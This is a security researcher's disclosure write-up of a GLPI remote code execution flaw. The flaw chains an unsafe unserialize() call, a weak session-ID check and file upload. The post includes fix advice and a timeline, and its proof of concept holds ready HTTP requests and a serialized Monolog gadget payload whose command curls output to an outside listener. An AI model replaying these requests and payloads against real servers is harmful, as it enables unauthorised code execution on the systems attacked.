CVE-2026-22248 - From File Upload to RCE via Unsafe Deserialization

CVE-2026-22248 object injection insecure deserialization rce glpi

## Abstract

GLPI is an open-source IT asset management software used by thousands of organizations worldwide. During security research, I identified a vulnerability chain that allows an authenticated administrator to achieve Remote Code Execution (RCE) on the server. The vulnerability resides in the progress indicator storage mechanism, where user-controlled data is passed to PHP's unserialize() function without restriction, enabling PHP Object Injection attacks.

## Finding the Vulnerability

The vulnerability was discovered while auditing GLPI's progress indicator feature.

### The Unsafe Deserialization

The vulnerable code is located in src/Glpi/Progress/ProgressStorage.php. The getProgressIndicator() method reads a file and deserializes its contents:

// src/Glpi/Progress/ProgressStorage.php:120-152

public function getProgressIndicator(string $storage_key): ?StoredProgressIndicator
{
    if (!$this->canAccessProgressIndicator($storage_key)) {
        return null;
    }

    $path = $this->getStorageFilePath($storage_key);

    if (!\file_exists($path)) {
        return null;
    }

    $handle = fopen($path, 'rb');
    flock($handle, LOCK_EX);

    $file_contents = '';
    while (!\feof($handle)) {
        $file_contents .= fread($handle, 8192);
    }

    flock($handle, LOCK_UN);
    fclose($handle);

    $progress = \unserialize($file_contents);  // [1] unsafe unserialize in this function

    if (!$progress instanceof StoredProgressIndicator) {
        throw new RuntimeException(\sprintf('Invalid data stored for key `%s`.', $storage_key));
    }

    return $progress;
}

At [1], the unserialize() function is called without the allowed_classes parameter (default recommendation). According to PHP documentation, when this parameter is omitted, all classes are accepted during deserialization. This enables PHP Object Injection attacks where an attacker can instantiate arbitrary PHP classes present in the application.

The secure implementation would be using the allowed_classes parameter:

$progress = \unserialize($file_contents, ['allowed_classes' => [StoredProgressIndicator::class]]);

Or better, avoid unserialize() entirely and use safer formats like JSON (json_encode/json_decode).

### The Storage Path

The file path is constructed from the storage_key parameter:

// src/Glpi/Progress/ProgressStorage.php:199-205

private function getStorageFilePath(string $storage_key): string
{
    return \sprintf(
        '%s/%s.progress',
        $this->storage_dir,
        $storage_key
    );
}

Where storage_dir defaults to GLPI_TMP_DIR (typically files/_tmp/):

// src/Glpi/Progress/ProgressStorage.php:69-72

public function __construct(string $storage_dir = GLPI_TMP_DIR)
{
    $this->storage_dir = $storage_dir;
}

This means files are stored at: files/_tmp/{storage_key}.progress

### Access Control

The access control check is minimal:

// src/Glpi/Progress/ProgressStorage.php:194-197

private function canAccessProgressIndicator(string $storage_key): bool
{
    return \str_starts_with($storage_key, session_id());
}

The method only verifies that the storage_key starts with the current user's session ID. This is a weak control because:

  1. The attacker knows their own session ID (it's in their cookie)
  2. They can craft a filename that starts with their session ID
  3. If they can upload a file with that name, they control the deserialized content

### The Trigger Endpoint

The ProgressController exposes the route that allows us to reach the vulnerable getProgressIndicator() function:

// src/Glpi/Controller/ProgressController.php:44-71

class ProgressController extends AbstractController
{
    public function __construct(
        private readonly ProgressStorage $progress_storage,
    ) {}

    #[Route("/progress/check/{key}", methods: 'GET')]
    #[SecurityStrategy(Firewall::STRATEGY_NO_CHECK)]
    public function check(string $key): Response
    {
        // [2] below this call the vulnerable function
        $progress = $this->progress_storage->getProgressIndicator($key);

        if ($progress === null) {
            return new JsonResponse([], 404);
        }

        return new JsonResponse([
            'started_at'            => $progress->getStartedAt()->format('c'),
            'updated_at'            => $progress->getUpdatedAt()->format('c'),
            'ended_at'              => $progress->getEndedAt()?->format('c'),
            'failed'                => $progress->hasFailed(),
            'current_step'          => $progress->getCurrentStep(),
            'max_steps'             => $progress->getMaxSteps(),
            'progress_bar_message'  => $progress->getProgressBarMessage(),
            'messages'              => $progress->getMessages(),
        ]);
    }
}

At [2], the controller directly passes the user-controlled $key parameter to getProgressIndicator(). This is the entry point that triggers the entire vulnerable code path: the $key value is used to construct the file path, read the file contents, and pass them to unserialize().

The {key} route parameter corresponds to the $storage_key used by ProgressStorage. When a request is made to /progress/check/abc123def456, the value abc123def456 is passed as $storage_key to getProgressIndicator(), which then uses it to build the file path:

/progress/check/{key}  -->  files/_tmp/{key}.progress
/progress/check/abc123  -->  files/_tmp/abc123.progress

Since the attacker controls this URL parameter, they can specify any filename (as long as it passes the str_starts_with(session_id()) check).

## The Attack Chain

To exploit this vulnerability, an attacker needs to:

  1. Upload a malicious serialized payload to files/_tmp/
  2. Name the file {session_id}xxx.progress
  3. Trigger deserialization via GET /progress/check/{session_id}xxx

### Step 1: File Upload Mechanism

GLPI provides a file upload endpoint at ajax/fileupload.php:

// ajax/fileupload.php:40

GLPIUploadHandler::uploadFiles($_POST);

Files are uploaded to GLPI_TMP_DIR (same directory where progress files are stored):

// src/GLPIUploadHandler.php:61

$upload_dir = GLPI_TMP_DIR . '/';

### Step 2: File Extension Validation

The upload handler validates file extensions against a pattern from DocumentType:

// src/UploadHandler.php:183

'accept_file_types' => DocumentType::getUploadableFilePattern(),

The getUploadableFilePattern() method queries the database for allowed extensions:

// src/DocumentType.php:205-235

public static function getUploadableFilePattern(): string
{
    global $DB;

    if (self::$uploadable_patterns === null) {
        $valid_type_iterator = $DB->request([
            'FROM'   => 'glpi_documenttypes',
            'WHERE'  => [
                'is_uploadable'   => 1,
            ],
        ]);

        $valid_ext_patterns = [];
        foreach ($valid_type_iterator as $valid_type) {
            $valid_ext = $valid_type['ext'];
            if (preg_match('/\/.+\//', $valid_ext)) {
                // Filename matches pattern
                // Remove surrounding '/' as it will be included in a larger pattern
                // and protect by surrounding parenthesis to prevent conflict with other patterns
                $valid_ext_patterns[] = '(' . substr($valid_ext, 1, -1) . ')';
            } else {
                // Filename ends with allowed ext
                $valid_ext_patterns[] = '\.' . preg_quote($valid_type['ext'], '/') . '$';
            }
        }

        self::$uploadable_patterns = '/(' . implode('|', $valid_ext_patterns) . ')/i';
    }

    return self::$uploadable_patterns;
}

By default, .progress is not an allowed extension. However, an administrator can add it via Setup > Dropdowns > Document types.

### Step 3: Crafting the Payload

To exploit unserialize(), we need a gadget chain - a sequence of PHP classes that trigger code execution through their magic methods (__destruct(), __wakeup(), etc.).

Looking at GLPI's composer.json, we can see Monolog is a direct dependency:

// composer.json:55

"monolog/monolog": "^3.9",

PHPGGC provides pre-built gadget chains for common PHP libraries. Checking the available Monolog chains:

$ php phpggc -l monolog


Gadget Chains
-------------

NAME            VERSION                            TYPE                  VECTOR        I    
Monolog/FW1     3.0.0 <= 3.1.0+                    File write            __destruct    *    
Monolog/RCE1    1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+    RCE: Function Call    __destruct         
Monolog/RCE2    1.4.1 <= 2.7.0+                    RCE: Function Call    __destruct         
Monolog/RCE3    1.1.0 <= 1.10.0                    RCE: Function Call    __destruct         
Monolog/RCE4    ? <= 2.4.4+                        RCE: Command          __destruct    *    
Monolog/RCE5    1.25 <= 2.7.0+                     RCE: Function Call    __destruct         
Monolog/RCE6    1.10.0 <= 2.7.0+                   RCE: Function Call    __destruct         
Monolog/RCE7    1.10.0 <= 2.7.0+                   RCE: Function Call    __destruct    *    
Monolog/RCE8    3.0.0 <= 3.1.0+                    RCE: Function Call    __destruct    *    
Monolog/RCE9    3.0.0 <= 3.1.0+                    RCE: Function Call    __destruct    *

The version notation 3.0.0 <= 3.1.0+ means the chain was tested from version 3.0.0 up to 3.1.0, with the + suffix indicating it works with later 3.x versions. Since GLPI uses Monolog ^3.9 and the chain targets the 3.x branch, we can use Monolog/RCE8:

php phpggc Monolog/RCE8 system "id" -o payload.bin

### Step 4: Complete Attack Flow

1. Attacker authenticates to GLPI (requires admin to modify document types)

2. Add .progress as allowed document type
   POST /front/documenttype.form.php

3. Upload malicious payload
   POST /ajax/fileupload.php
   Content-Disposition: form-data; name="filename"; filename="{SESSION_ID}xlpRANDOMSUFIX.progress"

   [serialized Monolog gadget chain]

4. Trigger deserialization
   GET /progress/check/{SESSION_ID}xlpRANDOMSUFIX
   Cookie: glpi_xxx={SESSION_ID}

5. RCE as www-data

## Proof of Concept

The following HTTP requests demonstrate the exploitation:

### Request 1: Login

POST /front/login.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

noAUTO=1&redirect=/front/document.form.php?&_glpi_csrf_token=xxx&login_name=glpi&login_password=glpi&auth=local&login_remember=on&submit=

Response sets:

Cookie: glpi_8c3d482xxx=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482xxx_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D

Now, the value of glpi_8c3d482xxx is the SESSION_ID that we will use: 614fdd1380536dfb8e00ecfa8ccb9aaf.

### Request 2: Enable .progress Document Type Upload

Modify an existing document type or create a new one at /front/documenttype.form.php to allow .progress file uploads. This step is required because GLPI restricts uploadable file extensions by default.

POST /front/documenttype.form.php HTTP/1.1
Host: target.local
Cookie: glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOjZUgHGmC3ArWGLr

------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="name"

JPEG
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="comment"


------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="icon"

jpg-dist.png
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="is_uploadable"

1
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="ext"

progress
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="mime"


------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="update"

1
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="_read_date_mod"

some_date
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="id"

1
------WebKitFormBoundaryOjZUgHGmC3ArWGLr
Content-Disposition: form-data; name="_glpi_csrf_token"

908a6e407f0340888e05d0e55503e7d3d83f402d53dd4cc69f0a3617acf83bb6
------WebKitFormBoundaryOjZUgHGmC3ArWGLr--

### Request 3: Upload Payload

Upload a serialized PHP payload via /ajax/fileupload.php. The file must use the .progress extension enabled in the previous step and include the session ID as a filename prefix. This upload can be triggered through /front/document.form.php by creating a new document.

To upload the .progress payload, intercept the request with Burp Suite, upload the payload generated by PHPGGC, and then change the filename to SESSION_ID_HEREexploitchangesufix123.progress.

Important: Also you need to remove this part from the upload body. If you don't remove this, GLPI will write the name of file with file size (e.g 614fdd1380536dfb8e00ecfa8ccb9aafexploitandomsufix123 434B.progress)
------WebKitFormBoundaryMRDnW0vsk1F8ybrj
Content-Disposition: form-data; name="showfilesize"

true

The final request to upload payload:

POST /ajax/fileupload.php HTTP/1.1
Host: target.local
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
X-Glpi-Csrf-Token: 908a6e407f0340888e05d0e55503e7d3d83f402d53dd4cc69f0a3617acf83bb6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMRDnW0vsk1F8ybrj
Cookie: glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D
Connection: keep-alive
Content-Length: 808

------WebKitFormBoundaryMRDnW0vsk1F8ybrj
Content-Disposition: form-data; name="name"

_uploader_filename
------WebKitFormBoundaryMRDnW0vsk1F8ybrj
Content-Disposition: form-data; name="_uploader_filename[]"; filename="614fdd1380536dfb8e00ecfa8ccb9aafexploitandomsufix123.progress"
Content-Type: application/octet-stream

O:28:"Monolog\Handler\GroupHandler":1:{s:11:" * handlers";a:1:{i:0;O:29:"Monolog\Handler\BufferHandler":6:{s:10:" * handler";r:3;s:13:" * bufferSize";i:1;s:14:" * bufferLimit";i:0;s:9:" * buffer";a:1:{i:0;O:17:"Monolog\LogRecord":2:{s:5:"level";E:19:"Monolog\Level:Debug";s:5:"mixed";s:26:"curl 172.17.0.1:4444/$(id)";}}s:14:" * initialized";b:1;s:13:" * processors";a:3:{i:0;s:15:"get_object_vars";i:1;s:3:"end";i:2;s:6:"system";}}}}
------WebKitFormBoundaryMRDnW0vsk1F8ybrj--

If you have a problem with malformatted characters you can use -b parameter at PHPGGC to get base64 payload, paste at Burp and then decode: php phpggc Monolog/RCE8 system 'curl 172.17.0.1:4444/$(id)' -b.

### Request 4: Trigger RCE

GET /progress/check/614fdd1380536dfb8e00ecfa8ccb9aafexploitandomsufix123 HTTP/1.1
Host: target.local
Cookie: glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b=614fdd1380536dfb8e00ecfa8ccb9aaf; glpi_8c3d482101f284f21e8fd182754a699a992f7e856747e7c7ddae14eada85ac5bf626149e632a554850f9c9a46ce6a946be4dc171fe3caa4a1f891107e86b494b_rememberme=%5B2%2C%221shNj8TaZMtoK5ZiN8Ab9wmh3hA2UyUOG3DgDpv6%22%5D

The server returns HTTP 500 (due to type check after deserialization), but the gadget chain has already executed during unserialize().

## Conclusion

This vulnerability chain demonstrates how an unsafe unserialize() call, combined with a file upload mechanism and weak access controls, leads to Remote Code Execution. The attack requires an authenticated administrator account to modify the allowed document types (adding .progress extension), then leverages GLPI's own dependencies (Monolog) to achieve code execution.

Affected Versions: GLPI <= 11.0.4

Prerequisites:

  • Valid GLPI administrator account
  • Ability to modify document type configuration (add .progress extension)

## Timeline

Date Event
2025-12-24 Vulnerability discovered
2025-12-25 Vendor notified
2026-01-28 Patch released
2026-03-11 Public disclosure

## References

─────────────────────────────────────
CVE-2026-22248 // GLPI RCE
ribeirin
─────────────────────────────────────
<< Back to Posts